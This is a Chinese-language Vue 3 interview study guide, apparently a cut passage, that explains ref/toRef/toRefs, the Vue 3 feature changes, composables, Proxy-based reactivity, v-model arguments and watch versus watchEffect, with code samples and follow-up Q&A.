    数字值和 DOM 引用都适合用 ref,前者获得值类型响应式,后者承接模板节点;对象型业务状态再考虑 reactive。全部塞进一个响应式对象会弱化语义边界,但拆成过多 ref 也会增加返回和维护成本。

# toRef和toRefs如何使用和最佳方式

⚡ 30 秒速记

  • 针对一个响应式对象(reactive封装的)的一个属性,创建一个ref,具有响应式

toRef 用于把响应式对象的某个属性转成 ref,toRefs 则把它的每个属性都转成 ref。 转换后的数据与原响应式对象保持引用关系,修改任意一方都会反映到另一方,但它们不会让普通对象凭空获得响应式。实践中可以用 reactive 管对象、用 ref 管基本类型,并在 setup 中返回 toRef(state, 'prop') 或 toRefs(state)。合成函数需要支持调用方解构返回值时,优先返回 toRefs(state),这样不会丢失响应式。

toRef

  • 针对一个响应式对象(reactive封装的)的一个属性,创建一个ref,具有响应式
  • 两者保持引用关系

toRefs

  • 将响应式对象(reactive封装的)转化为普通对象
  • 对象的每个属性都是对象的ref
  • 两者保持引用关系

合成函数返回响应式对象

最佳使用方式

  • 用reactive做对象的响应式,用ref做值类型响应式(基本类型)
  • setup中返回toRefs(state),或者toRef(state, 'prop')
  • ref的变量命名都用xxRef
  • 合成函数返回响应式对象时,使用toRefs,有助于使用方对数据进行解构时,不丢失响应式
<template>
    <p>toRef demo - {{ageRef}} - {{state.name}} {{state.age}}</p>
</template>

<script>
import { ref, toRef, reactive } from 'vue'

export default {
    name: 'ToRef',
    setup() {
        const state = reactive({
            age: 20,
            name: 'test'
        })

        const age1 = computed(() => {
            return state.age + 1
        })

        // toRef 如果用于普通对象(非响应式对象),产出的结果不具备响应式
        // const state = {
        //     age: 20,
        //     name: 'test'
        // }
        // 一个响应式对象state其中一个属性要单独拿出来实现响应式用toRef
        const ageRef = toRef(state, 'age')

        setTimeout(() => {
            state.age = 25
        }, 1500)

        setTimeout(() => {
            ageRef.value = 30 // .value 修改值
        }, 3000)

        return {
            state,
            ageRef
        }
    }
}
</script>
<template>
    <p>toRefs demo {{age}} {{name}}</p>
</template>

<script>
import { ref, toRef, toRefs, reactive } from 'vue'

export default {
    name: 'ToRefs',
    setup() {
        const state = reactive({
            age: 20,
            name: 'test'
        })

        const stateAsRefs = toRefs(state) // 将响应式对象,变成普通对象

        // const { age: ageRef, name: nameRef } = stateAsRefs // 每个属性,都是 ref 对象
        // return {
        //     ageRef,
        //     nameRef
        // }

        setTimeout(() => {
            state.age = 25
        }, 1500)

        return stateAsRefs
    }
}
</script>

💬 面试官追问

  • 编辑页把 reactive 表单写成 const { age } = state,随后修改 state.age,页面上的 age 不再变化,为什么?

    直接解构得到的是当前属性值,不能继续保持与响应式对象的引用关系;应使用 toRef(state, 'age') 或先执行 toRefs(state) 再解构。两者延续的是既有响应性,前提是来源本身由 reactive 创建。

  • 一个包含二十个字段的用户表单只把 age 交给子逻辑修改,你会用 toRef 还是 toRefs?

    只需要单个字段时应使用 toRef(state, 'age'),让该 ref 与 state.age 双向保持引用关系。把全部字段转换为 ref 会扩大暴露面并增加理解成本;若调用方确实需要整体解构,再选择 toRefs。

  • 合成函数最初返回整个 reactive 对象,后来调用方要求解构 x、y 并分别传给模板,你会怎样调整返回值?

    可在合成函数出口返回 toRefs(state),使 x、y 成为与原对象属性关联的 ref,解构后仍保持响应式。代价是返回结构从单一对象变成多个引用,新增字段和只读边界仍需由接口约定控制。

  • 线上筛选条件更新后列表不刷新,代码使用 toRef(rawOptions, 'keyword'),而 rawOptions 是普通对象,你先改哪里?

    先确认源对象是否由 reactive 创建;toRef 针对普通对象不会凭空建立完整的响应式来源。应先确定哪个对象负责响应式状态,再从该对象创建属性引用;只替换读取代码而不修正源头,更新仍可能无法触发视图。

  • 团队规范要求值类型一律 ref、对象一律 reactive,但组件出口经常要展开对象字段,你会补充什么约束?

    对象内部状态可由 reactive 管理,出口需要解构时再用 toRefs,只暴露单个属性时用 toRef。ref 变量采用 xxRef 命名能提示脚本侧使用 .value;过度转换会让状态来源难追踪,应限制在明确边界。

# 深入理解为什么需要ref、toRef、toRefs

⚡ 30 秒速记

  • 为什么需要用 ref

ref、toRef 和 toRefs 的共同目的,是让值被返回或对象被拆分后仍能保留响应式。 值类型直接从 setup、computed 或合成函数返回时容易丢失响应式,因此 ref 用对象包装值,并通过 .value 的 get、set 完成响应追踪。模板和 reactive 中通常不必写 .value,其他脚本场景则需要。toRef 和 toRefs 只延续 reactive 对象已有的响应式,适合提取单个属性或在解构合成函数结果时使用,并不负责创造响应式。

为什么需要用 ref

  • 返回值类型,会丢失响应式
  • 如在setup、computed、合成函数,都有可能返回值类型
  • Vue如不定义ref,用户将制造ref,反而更混乱

为何ref需要.value属性

  • ref是一个对象(不丢失响应式),value存储值
  • 通过.value属性的get和set实现响应式
  • 用于模板、reactive时,不需要.value,其他情况都要

为什么需要toRef和toRefs

  • 初衷:不丢失响应式的情况下,把对象数据 分解/扩散
  • 前端:针对的是响应式对象(reactive封装的)非普通对象
  • 注意:不创造响应式,而是延续响应式
<template>
    <p>why ref demo {{state.age}} - {{age1}}</p>
</template>

<script>
import { ref, toRef, toRefs, reactive, computed } from 'vue'

function useFeatureX() {
    const state = reactive({
        x: 1,
        y: 2
    })

    return toRefs(state)
}

export default {
    name: 'WhyRef',
    setup() {
        // 解构不丢失响应式
        const { x, y } = useFeatureX()

        const state = reactive({
            age: 20,
            name: 'test'
        })

        // computed 返回的是一个类似于 ref 的对象,也有 .value
        const age1 = computed(() => {
            return state.age + 1
        })

        setTimeout(() => {
            state.age = 25
        }, 1500)

        return {
            state,
            age1,
            x,
            y
        }
    }
}
</script>

💬 面试官追问

  • 一个合成函数直接返回局部数字 count,调用方更新后模板没有响应;有人建议只把它包进普通对象,你认同吗?

    仅放进普通对象仍不能保证响应式,值类型离开原作用域后需要由 ref 这样的对象承载。其 value 属性通过读取和写入参与响应式过程;若调用方把 .value 再解构成普通值,仍会失去这层联系。

  • 搜索页的合成函数要返回页码、关键字和加载状态,调用方还要直接解构,你会怎样设计出口?

    可先用 reactive 集中管理对象状态,再以 toRefs(state) 返回各属性,使调用方解构后仍保留引用关系。这样解决的是对象数据的分解和扩散,不是重新创造响应式;状态写入权限仍需额外约束。

  • 同一个 ref 在模板、reactive 对象和普通工具函数中传递,评审争论是否处处写 .value,你怎么判定?

    模板以及作为 reactive 内容使用时通常不需要显式 .value,普通脚本和工具函数访问则应通过 .value。差异来自框架使用场景的处理方式,不能据此假定所有嵌套位置都会自动处理;跨边界传递时要保持类型和语义清楚。

  • 线上计算年龄的 computed 在日志中打印成对象,开发者把它当数字直接相加导致结果异常,你会怎么解释并修复?

    computed 返回的是类似 ref 的对象,脚本中应读取其 .value,模板中则可直接使用返回变量。这样设计让值类型结果不因返回而丢失响应式;若提前取出普通值并长期保存,后续依赖更新不会自动同步到该副本。

  • 状态库封装层提出用 toRefs 包装任何传入对象,以统一调用方式,这个方案的风险是什么?

    toRefs 的价值是延续 reactive 对象已有的响应式,并不负责把普通对象变成响应式状态。无条件包装会制造接口看似统一、实际更新不生效的错觉;应先验证来源,再决定返回整个对象还是按需分解属性。

# vue3升级了哪些重要功能

⚡ 30 秒速记

    1. createApp

Vue 3的重要升级可以归为应用创建方式、组件能力和逻辑组织方式三类。 它用createApp替代直接实例化Vue,插件、组件和指令都注册到具体应用实例上。组件层面支持emits、多根节点Fragment、Teleport和Suspense,异步组件则通过defineAsyncComponent定义。双向绑定改用带参数的v-model替代.sync,同时移除filter,复杂逻辑可以用Composition API组织。

1. createApp

// vue2
const app = new Vue({/**选项**/})
Vue.use(/****/)
Vue.mixin(/****/)
Vue.component(/****/)
Vue.directive(/****/)

// vue3
const app = createApp({/**选项**/})
app.use(/****/)
app.mixin(/****/)
app.component(/****/)
app.directive(/****/)

2. emits属性

// 父组件
<Hello :msg="msg" @onSayHello="sayHello">

// 子组件
export default {
    name: 'Hello',
    props: {
        msg: String
    },
    emits: ['onSayHello'], // 声明emits
    setup(props, {emit}) {
        emit('onSayHello', 'aaa')
    }
}

3. 多事件

<!-- 定义多个事件 -->
<button @click="one($event),two($event)">提交</button>

4. Fragment

<!-- vue2 -->
<template>
    <div>
        <h2>{{title}}</h2>
        <p>test</p>
    </div>
</template>

<!-- vue3:不在使用div节点包裹 -->
<template>
    <h2>{{title}}</h2>
    <p>test</p>
</template>

5. 移除.sync

<!-- vue2 -->
<MyComponent :title.sync="title" />

<!-- vue3 简写 -->
<MyComponent v-model:title="title" />
<!-- 非简写 -->
<MyComponent :title="title" @update:title="title = $event" />

.sync用法

父组件把属性给子组件,子组件修改了后还能同步到父组件中来

<template>
  <button @click="close">关闭</button>
</template>
<script>
export default {
    props: {
        isVisible: {
            type: Boolean,
            default: false
        }
    },
    methods: {
        close () {
            this.$emit('update:isVisible', false);
        }
    }
};
</script>
<!-- 父组件使用 -->
<chlid-component :isVisible.sync="isVisible"></chlid-component>
<text-doc :title="doc.title" @update:title="doc.title = $event"></text-doc>

<!-- 为了方便期间,为这种模式提供一个简写 .sync -->
<text-doc :title.sync="doc.title" />

6. 异步组件的写法

// vue2写法
new Vue({
    components: {
        'my-component': ()=>import('./my-component.vue')
    }
})
// vue3写法
import {createApp, defineAsyncComponent} from 'vue'

export default {
    components: {
        AsyncComponent: defineAsyncComponent(()=>import('./AsyncComponent.vue'))
    }
}

7. 移除filter

<!-- 以下filter在vue3中不可用了 -->

<!-- 在花括号中 -->
{message | capitalize}

<!-- 在v-bind中 -->
<div v-bind:id="rawId | formatId"></div>

8. Teleport

<button @click="modalOpen = true">
 open
</button>

<!-- 通过teleport把弹窗放到body下 -->
<teleport to="body">
 <div v-if="modalOpen" classs="modal">
   <div>
     teleport弹窗,父元素是body
     <button @click="modalOpen = false">close</button>
   </div>
 </div>
</teleport>

9. Suspense

<Suspense>
 <template>
    <!-- 异步组件 -->
   <Test1 />  
 </template>
 <!-- fallback是一个具名插槽,即Suspense内部有两个slot,一个具名插槽fallback -->
 <template #fallback>
    loading...
 </template>
</Suspense>

10. Composition API

  • reactive
  • ref
  • readonly
  • watch和watchEffect
  • setup
  • 生命周期钩子函数

💬 面试官追问

  • 一个迁移页面只把 new Vue 改成 createApp,却仍在各处调用全局 Vue.use 和 Vue.component,你会指出什么问题?

    插件、混入、组件和指令应注册到 createApp 返回的应用实例上,例如调用 app.use 与 app.component。迁移不能只替换入口构造语句;遗漏实例化注册会让依赖仍停留在旧的全局调用假设中。

  • 组件库迁移后,父组件监听 @onSayHello,子组件只调用 emit 却没有声明事件,评审时你会要求补什么?

    应在子组件的 emits 中声明 onSayHello,再由 setup 上下文中的 emit 触发。事件声明能明确组件对外协议,并与 props 的输入边界对应;事件名不一致时,父子双方代码都要一起核对。

  • 旧后台有三百个使用 .sync 的表单组件,产品又要求支持多个可双向更新的字段,你会选择怎样的迁移形式?

    把每个字段迁移为具名 v-model,例如 v-model:title,其展开形式是属性绑定配合 update:title 事件。应按组件协议逐个核对字段名和事件名;批量文本替换容易遗漏子组件的发送逻辑。

  • 线上弹窗加了 Teleport 后仍被错误容器定位,异步区域的 Suspense 也一直显示回退内容,你会分别检查什么?

    先检查 Teleport 的 to 目标是否存在,并确认弹窗确实被传送到预期的 body 等容器。对 Suspense 则核对默认内容中的异步组件能否完成,以及 fallback 插槽是否正确;两者解决的边界不同,不能用同一故障原因解释。

  • 团队在升级方案中争论:保留旧过滤器写法,还是统一改造模板表达式;同时异步组件仍沿用函数注册,你怎么裁决?

    Vue 3 已移除模板过滤器,应把格式化逻辑迁出过滤器语法;异步组件则使用 defineAsyncComponent 包装动态导入。两项都属于明确的 API 迁移,不宜靠兼容假设保留旧写法;改造范围大时需要逐页验证输出与加载状态。

  • 一个复杂看板因单根节点增加了无意义容器,同时状态逻辑难以复用,你会把哪些升级能力组合起来处理?

    模板结构可利用 Fragment 去掉仅为单根限制存在的包装节点,状态逻辑则用 Composition API 中的 reactive、ref、watch 等按关注点组织。两者分别改善 DOM 结构与逻辑组织;删除容器前仍要确认样式和布局是否依赖它。

# Composition API 如何实现逻辑复用

⚡ 30 秒速记

  • 抽离逻辑代码到一个函数

Composition API通过把一组相关状态、生命周期和操作抽成组合函数,实现跨组件的逻辑复用。 组合函数通常按useXx命名,组件在setup中调用,再把需要的数据返回给模板。比如鼠标位置逻辑可以在挂载时监听mousemove,卸载时移除监听,组件只负责消费x和y。为了让调用方解构后仍保持响应式,我一般返回ref,或者对reactive对象使用toRefs。

  • 抽离逻辑代码到一个函数
  • 函数命名约定为useXx格式(React Hooks也是)
  • 在setup中引用useXx函数
<template>
    <p>mouse position {{x}} {{y}}</p>
</template>

<script>
import { reactive } from 'vue'
import useMousePosition from './useMousePosition'
// import useMousePosition2 from './useMousePosition'

export default {
    name: 'MousePosition',
    setup() {
        const { x, y } = useMousePosition()
        return {
            x,
            y
        }

        // const state = useMousePosition2()
        // return {
        //     state
        // }
    }
}
</script>
import { reactive, ref, onMounted, onUnmounted } from 'vue'

function useMousePosition() {
    const x = ref(0)
    const y = ref(0)

    function update(e) {
        x.value = e.pageX
        y.value = e.pageY
    }

    onMounted(() => {
        console.log('useMousePosition mounted')
        window.addEventListener('mousemove', update)
    })

    onUnmounted(() => {
        console.log('useMousePosition unMounted')
        window.removeEventListener('mousemove', update)
    })

    // 合成函数尽量返回ref或toRefs(state)  state = reactive({})
    // 这样在使用的时候可以解构但不丢失响应式
    return {
        x,
        y
    }
}

// function useMousePosition2() {
//     const state = reactive({
//         x: 0,
//         y: 0
//     })

//     function update(e) {
//         state.x = e.pageX
//         state.y = e.pageY
//     }

//     onMounted(() => {
//         console.log('useMousePosition mounted')
//         window.addEventListener('mousemove', update)
//     })

//     onUnmounted(() => {
//         console.log('useMousePosition unMounted')
//         window.removeEventListener('mousemove', update)
//     })

//     return state
// }

export default useMousePosition
// export default useMousePosition2

💬 面试官追问

  • 鼠标坐标页把 reactive({ x: 0, y: 0 }) 直接从 useMousePosition 返回,组件在 setup 中写成 const { x, y } = useMousePosition(),为什么移动鼠标后页面可能不更新?

    直接解构普通 reactive 对象会得到当前属性值,x、y 不再保持与代理对象的响应式联系。组合函数应分别返回 ref,或对 reactive 状态使用 toRefs 后再返回;若整体作为 state 使用,则无需解构。

  • 后台工作台有三个组件复用窗口鼠标位置监听,你会怎样设计 useMousePosition,避免组件反复进入后遗留监听器?

    组合函数在 onMounted 中用同一个 update 引用注册 mousemove,并在 onUnmounted 中移除它,同时返回可安全解构的 ref。每次调用通常拥有独立状态和生命周期;若要共享唯一监听,还需额外管理订阅计数,复杂度也会提高。

  • 产品把鼠标位置组件改成可复用的指定容器拖拽区,容器可能在挂载后才出现,原来的 window.addEventListener 实现要怎样调整?

    组合函数应接收目标元素的 ref,在组件挂载且元素存在后再绑定事件,卸载时对同一目标解除绑定。还要处理目标为空或发生替换的情况;若目标会动态变化,需要监听引用并迁移监听器,这比固定绑定 window 更复杂。

  • 路由切换十几次后,鼠标移动一次却打印多次坐标,你会让候选人沿哪些代码点定位泄漏?

    先核对 onMounted 与 onUnmounted 是否成对执行,再确认添加和移除时使用的是同一事件目标、事件名及函数引用。还要检查组合函数是否在生命周期上下文外调用,或每次渲染都创建新处理函数;任一不匹配都会让旧监听残留。

  • 团队争论把鼠标逻辑做成 mixin、工具函数还是 useMousePosition,在多个 Vue 3 页面共享状态和生命周期时你怎么选?

    这类逻辑同时包含响应式状态与组件生命周期,优先使用 useMousePosition,依赖和返回值更显式,也便于按需组合。普通工具函数适合无响应式、无生命周期的纯计算;mixin 可复用但来源和命名冲突更隐蔽,迁移成本也更高。

# Vue3如何实现响应式

⚡ 30 秒速记

  • 回顾vue2的Object.defineProperty

Vue 3使用Proxy代理对象,并在属性读取、设置和删除时完成响应式监听。 相比Vue 2的Object.defineProperty,它能处理新增和删除属性,也不需要再依赖Vue.set、Vue.delete,原生数组同样可以被监听。Vue 2做深度监听时还要预先递归对象,数组也需特殊处理,因此Proxy更适合统一拦截这些操作;不过理解实现时仍要结合具体代理行为来看。

  • 回顾vue2的Object.defineProperty
  • 缺点
    • 深度监听对象需要一次性递归
    • 无法监听新增属性、删除属性(Vue.set、Vue.delete)
    • 无法监听原生数组,需要特殊处理
  • 学习proxy语法
  • Vue3中如何使用proxy实现响应式

💬 面试官追问

  • 表单页给用户对象新增 nickname、删除 age,同时又用下标修改数组;为什么照搬 Vue 2 的 Object.defineProperty 思路会出现覆盖不全?

    Object.defineProperty 主要劫持预先存在的属性,新增和删除属性无法自然落入同一属性拦截,原生数组变化也需要特殊处理。深层对象还要预先递归转换,因此 Vue 2 常需 Vue.set、Vue.delete 等补偿,而 Vue 3 改用 Proxy 统一拦截。

  • 管理后台一次载入层级很深的配置对象,但用户通常只展开其中一条分支,Vue 3 的响应式方案为何更适合这种访问模式?

    Proxy 能在读取属性时通过 get 拦截,并对实际读取到的嵌套对象继续建立响应式处理,不必初始化时一次性递归所有层级。收益取决于访问路径;若最终遍历全部深层数据,延迟处理并不等于没有转换成本。

  • 如果业务状态从普通对象变成包含大量新增、删除操作的动态字段集合,你会如何判断 Proxy 相比属性劫持的价值?

    动态字段越多,Proxy 对对象整体操作的拦截优势越明显,新增可由 set 捕获,删除可由 deleteProperty 捕获。它还能覆盖数组属性变化;但代理只对代理对象生效,绕过代理直接修改原始对象仍不在这条响应链路中。

  • 订单页执行 state.detail.price = 99 后视图没变化,你会怎样区分是嵌套对象未代理、依赖未收集,还是代码改了原始对象?

    先确认模板或副作用读取的是代理上的 detail.price,再确认写入也经过同一代理,而不是保留的原始对象引用。随后检查嵌套读取是否返回了响应式对象以及相关读取是否发生在依赖收集阶段;只看到数据变化,不能证明更新链路已建立。

  • 架构评审中有人主张继续用 Object.defineProperty 以减少改造,另一方要求支持动态字段和数组原生操作,你会如何定方案?

    若必须可靠监听新增、删除及数组变化,Proxy 更贴合约束,也避免为不同操作维护多套补丁逻辑。保留属性劫持只有在既有运行环境或改造边界明确时才合理;选择 Proxy 仍需接受它不能代理基本类型、且必须通过代理访问的限制。

# Proxy 基本使用

⚡ 30 秒速记

  • 先说明“Proxy 基本使用”的核心结论,再结合正文示例解释实现与边界

Proxy的基本用法是给目标对象包一层代理,通过处理器拦截读取、赋值和删除操作。 get、set、deleteProperty分别对应这三类行为,内部通常用Reflect完成原本的操作并返回结果。示例中读取时只记录对象自身属性,避免把原型属性也当成监听目标;赋值时若新旧值相同,则直接返回,不做重复处理。它既可代理普通对象,也可代理数组,但每个拦截器都要正确返回操作结果。

// const data = {
//     name: 'zhangsan',
//     age: 20,
// }
const data = ['a', 'b', 'c']

const proxyData = new Proxy(data, {
    get(target, key, receiver) {
        // 只处理本身(非原型的)属性
        const ownKeys = Reflect.ownKeys(target)
        if (ownKeys.includes(key)) {
            console.log('get', key) // 监听
        }

        const result = Reflect.get(target, key, receiver)
        return result // 返回结果
    },
    set(target, key, val, receiver) {
        // 重复的数据,不处理
        if (val === target[key]) {
            return true
        }

        const result = Reflect.set(target, key, val, receiver)
        console.log('set', key, val)
        // console.log('result', result) // true
        return result // 是否设置成功
    },
    deleteProperty(target, key) {
        const result = Reflect.deleteProperty(target, key)
        console.log('delete property', key)
        // console.log('result', result) // true
        return result // 是否删除成功
    }
})

💬 面试官追问

  • 库存页把数组交给 Proxy 后,读取 map 或 length 也进入了 get;如果日志只想记录数组自身属性访问,示例里的 Reflect.ownKeys(target).includes(key) 能说明什么?

    该判断只让日志关注目标自身拥有的键,原型链上的 map 等成员不会被当作自身属性记录。拦截器仍应使用 Reflect.get(target, key, receiver) 返回真实结果;过滤日志不等于阻止访问,也不能据此判断一次业务读取的语义。

  • 表格编辑器连续把某列设置为同一个值,团队希望减少无效更新,set 拦截器应该怎样处理返回值和赋值动作?

    当 val === target[key] 时可直接返回 true,表示本次设置被接受,同时跳过后续日志或通知。值确实变化时使用 Reflect.set(target, key, val, receiver) 并返回其布尔结果;简单相等判断对对象只比较引用,不能识别内容相同。

  • 权限配置从对象改成数组,既有代码会执行 push、下标赋值和 delete proxyData[1],现有三个拦截器能观察到哪些现象?

    下标写入和数组方法引发的相关属性设置会经过 set,显式 delete 会进入 deleteProperty,读取下标或自身键会进入 get。一次 push 可能带来不止一次底层属性操作,因此日志数量不能直接等同于一次用户动作。

  • 线上出现“代理对象赋值成功,但调用方拿到 false 或严格模式报错”,你会重点检查哪段拦截器契约?

    重点检查 set 和 deleteProperty 是否始终返回布尔结果,以及是否把 Reflect.set、Reflect.deleteProperty 的结果原样返回。若分支遗漏返回值或错误地返回假值,代理契约会认为操作失败;即便目标看似变化,也可能留下不一致行为。

  • 代码评审中一方要求在拦截器里直接写 target[key],另一方坚持使用 Reflect 并传入 receiver,你如何取舍?

    优先使用 Reflect.get、Reflect.set 和 Reflect.deleteProperty,其返回语义与对应代理拦截器更一致,代码也更容易正确转交默认行为。receiver 对访问器中的接收者语义尤其重要;直接读写虽短,但在继承或 getter、setter 场景更容易偏离原行为。

# vue3用Proxy 实现响应式

⚡ 30 秒速记

  • 深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)

Vue 3 可以通过 Proxy 拦截对象的读取、设置和删除操作,从而实现响应式。 深层对象不是初始化时一次性递归处理,而是在访问到某一层、触发 get 时再继续调用 reactive,因此深度监听更灵活。set 能区分已有属性和新增属性,deleteProperty 能监听删除,同时也可以感知数组变化。实现时通常配合 Reflect 完成实际读写,并返回操作是否成功。

  • 深度监听,性能更好(获取到哪一层才触发响应式get,不是一次性递归)
  • 可监听新增/删除属性
  • 可监听数组变化
// 创建响应式
function reactive(target = {}) {
    if (typeof target !== 'object' || target == null) {
        // 不是对象或数组,则返回
        return target
    }

    // 代理配置
    const proxyConf = {
        get(target, key, receiver) {
            // 只处理本身(非原型的)属性
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('get', key) // 监听
            }
    
            const result = Reflect.get(target, key, receiver)
        
            // 深度监听
            // 性能如何提升的?获取到哪一层才触发响应式get,不是一次性递归
            return reactive(result)
        },
        set(target, key, val, receiver) {
            // 重复的数据,不处理
            if (val === target[key]) {
                return true
            }
    
            const ownKeys = Reflect.ownKeys(target)
            if (ownKeys.includes(key)) {
                console.log('已有的 key', key)
            } else {
                console.log('新增的 key', key)
            }

            const result = Reflect.set(target, key, val, receiver)
            console.log('set', key, val)
            // console.log('result', result) // true
            return result // 是否设置成功
        },
        deleteProperty(target, key) {
            const result = Reflect.deleteProperty(target, key)
            console.log('delete property', key)
            // console.log('result', result) // true
            return result // 是否删除成功
        }
    }

    // 生成代理对象
    const observed = new Proxy(target, proxyConf)
    return observed
}

// 测试数据
const data = {
    name: 'zhangsan',
    age: 20,
    info: {
        city: 'shenshen',
        a: {
            b: {
                c: {
                    d: {
                        e: 100
                    }
                }
            }
        }
    }
}

const proxyData = reactive(data)

💬 面试官追问

  • 商品详情对象有五层嵌套,页面只读取 info.city;为什么示例在 get 中执行 return reactive(result),而不是创建状态时递归代理全部层级?

    在 get 中包装读取结果,意味着只有访问到某层时才继续处理该层对象,避免初始化阶段一次性递归整棵数据。reactive 对基本类型和 null 应直接返回;这种按需深度处理仍需要妥善复用代理,否则重复读取可能反复创建包装。

  • 可视化配置页允许用户随时新增或删除字段,还会直接修改数组项,你会怎样用 get、set、deleteProperty 串起最小响应式原型?

    读取时由 get 返回属性并按需代理嵌套对象,写入时由 set 区分已有键和新增键,删除则交给 deleteProperty。三个拦截器都用对应的 Reflect 方法保留默认语义;这只是监听原型,完整框架还需要依赖收集与触发更新。

  • 状态树改成会反复读取同一个嵌套对象的长期运行应用,直接照抄 get 里的 reactive(result) 会有什么工程隐患?

    每次读取都调用 reactive,若实现没有缓存,可能为同一原始对象创建多个代理,破坏引用稳定性并增加开销。工程实现通常需要维护原对象到代理的映射并识别已代理值;示例未覆盖这一层,不能直接视为完整生产实现。

  • 线上日志显示 set name 已触发,但组件仍不刷新;基于这段实现,你会先指出缺失了哪两段核心机制?

    这段代码只证明代理捕获了读写,并没有在 get 时记录当前使用者,也没有在 set 或删除后通知相关使用者。应检查依赖收集和触发更新是否存在且键匹配;若仅打印日志,数据可改变,但页面不会自动重渲染。

  • 团队想用深拷贝加定时比较替代 Proxy,数据包含频繁新增字段和深层数组,你会如何说明取舍?

    Proxy 能在实际读写发生时捕获新增、修改和删除,并对深层对象按访问路径处理,更符合这类动态状态。深拷贝比较需要周期性遍历并自行判断差异,语义和成本都更粗;不过代理方案也要求所有有效访问经过代理,并补齐缓存和依赖系统。

# v-model参数的用法

⚡ 30 秒速记

  • 先说明“v-model参数的用法”的核心结论,再结合正文示例解释实现与边界

带参数的 v-model 可以让一个组件同时绑定多个值,例如 v-model:name 和 v-model:age。 本质上,参数名对应子组件的同名 prop,子组件更新时分别触发 update:name 和 update:age。比如输入框用 :value="name" 接收值,再通过 $emit('update:name', value) 把变化传回父组件。这样多个字段各走各的绑定关系,不会挤在一个默认的 v-model 上。

<!-- UserInfo组件 -->
<template>
    <input :value="name" @input="$emit('update:name', $event.target.value)"/>
    <input :value="age" @input="$emit('update:age', $event.target.value)"/>
</template>

<script>
export default {
    name: 'UserInfo',
    props: {
        name: String,
        age: String
    }
}
</script>
<!-- 使用 -->
<user-info
    v-model:name="name"
    v-model:age="age"
></user-info>

💬 面试官追问

  • 用户资料页同时编辑姓名和年龄,子组件只声明 name、age 两个 props,却直接修改 props.name;为什么这不等同于 v-model:name?

    v-model:name 的约定是子组件接收 name,并通过 update:name 事件请求父组件更新,而不是直接改写 props。输入框应绑定 :value="name",在输入时发出新值;真正的数据所有权仍留在父组件。

  • 一个 UserInfo 组件承载姓名和年龄两个输入框,父页面希望分别双向绑定,你会写出怎样的事件与调用契约?

    子组件分别声明 name、age,输入时发出 update:name 和 update:age,父组件使用 v-model:name="name"、v-model:age="age"。参数名必须与属性及更新事件后缀一致,否则某个字段会表现为只读或无法同步。

  • 年龄输入从文本框改成需要数值校验的控件,但现有 $event.target.value 得到字符串,你会把转换和校验放在哪一侧?

    子组件可在发出 update:age 前按控件契约转换并校验,父组件就能持续接收明确类型;也可保留字符串,由父层统一处理表单模型。关键是让 props 类型、事件载荷和父状态一致,否则空值与非法输入会产生含混语义。

  • 线上反馈姓名能同步、年龄始终停留在旧值,模板写着 v-model:age="age",你会优先核对哪些拼写和数据流节点?

    先核对子组件是否声明 age,输入框是否读取该值,并准确发出 update:age,再确认事件载荷来自正确的输入框。随后检查父组件的 age 是否可写及是否被其他逻辑覆盖;update:Age 等大小写或后缀不一致会直接破坏契约。

  • 组件库评审时有人建议把姓名、年龄合成一个对象 v-model,另一方坚持两个带参数的 v-model,用户资料表单该如何选?

    两个字段需要独立更新、校验或复用时,多个带参数的 v-model 契约更清晰,也避免每次更新都重建整个对象。若业务始终把资料作为不可分割的整体提交,单对象模型更集中;代价是字段级事件语义和变更来源不如前者直接。

# watch和watchEffect的区别

⚡ 30 秒速记

  • 两者都可以监听data属性变化

watch 需要明确指定监听目标,而 watchEffect 会自动收集回调中访问到的响应式数据。 watchEffect 初始化时会先执行一次,以便确定依赖;之后像 state.name 或 state.age 发生变化时,对应副作用会再次运行。watch 更适合已经知道要观察哪个属性的场景,并能在回调中拿到新旧值。需要初始化就监听或处理深层数据时,还可以结合 immediate、deep 等配置。

  • 两者都可以监听data属性变化
  • watch需要明确监听哪个属性
  • watchEffect会根据其中的属性,自动监听其变化
<template>
    <p>watch vs watchEffect</p>
    <p>{{numberRef}}</p>
    <p>{{name}} {{age}}</p>
</template>

<script>
import { reactive, ref, toRefs, watch, watchEffect } from 'vue'

export default {
    name: 'Watch',
    setup() {
        const numberRef = ref(100)
        const state = reactive({
            name: 'test',
            age: 20
        })

        watchEffect(() => {
            // 初始化时,一定会执行一次(收集要监听的数据)
            console.log('hello watchEffect')
        })
        watchEffect(() => {
            console.log('state.name', state.name)
        })
        watchEffect(() => {
            console.log('state.age', state.age)
        })
        watchEffect(() => {
            console.log('state.age', state.age)
            console.log('state.name', state.name)
        })
        setTimeout(() => {
            state.age = 25
        }, 1500)
        setTimeout(() => {
            state.name = 'testA'
        }, 3000)
        

        // ref直接写
        // watch(numberRef, (newNumber, oldNumber) => {
        //     console.log('ref watch', newNumber, oldNumber)
        // }
        // // , {
        // //     immediate: true // 初始化之前就监听,可选
        // // }
        // )

        // setTimeout(() => {
        //     numberRef.value = 200
        // }, 1500)

        // watch(
        //     // 第一个参数,确定要监听哪个属性
        //     () => state.age,

        //     // 第二个参数,回调函数
        //     (newAge, oldAge) => {
        //         console.log('state watch', newAge, oldAge)
        //     },

        //     // 第三个参数,配置项
        //     {
        //         immediate: true, // 初始化之前就监听,可选
        //         // deep: true // 深度监听
        //     }
        // )

        // setTimeout(() => {
        //     state.age = 25
        // }, 1500)
        // setTimeout(() => {
        //     state.name = 'PoetryA'
        // }, 3000)

        return {
            numberRef,
            ...toRefs(state)
        }
    }
}
</script>

💬 面试官追问

  • 用户资料页同时读取了 state.name 和 state.age,但需求只允许年龄变化时请求接口;把逻辑写进 watchEffect 后,改名字也发起请求,原因是什么?

    watchEffect 会自动收集执行期间读取到的响应式属性,因此读取 name 和 age 后,任一属性变化都可能再次执行。这里应改用 watch(() => state.age, callback) 明确监听年龄,代价是依赖需要人工维护。

  • 搜索页有 keyword、分页和十几个筛选状态,产品要求任一实际参与查询的条件变化都重新检索,你会选 watch 还是 watchEffect?

    查询函数若会直接读取所有有效条件,可优先用 watchEffect 自动收集这些依赖,新增筛选项时不必同步扩充监听列表。若请求触发条件必须严格可控,仍应使用 watch 显式声明来源,避免无意读取状态后多发请求。

  • 订单编辑页原本只监听 price,后来计价规则增加 count 和 discount;团队在维护多个 watch 与改用一个 watchEffect 之间争论,你怎么判断?

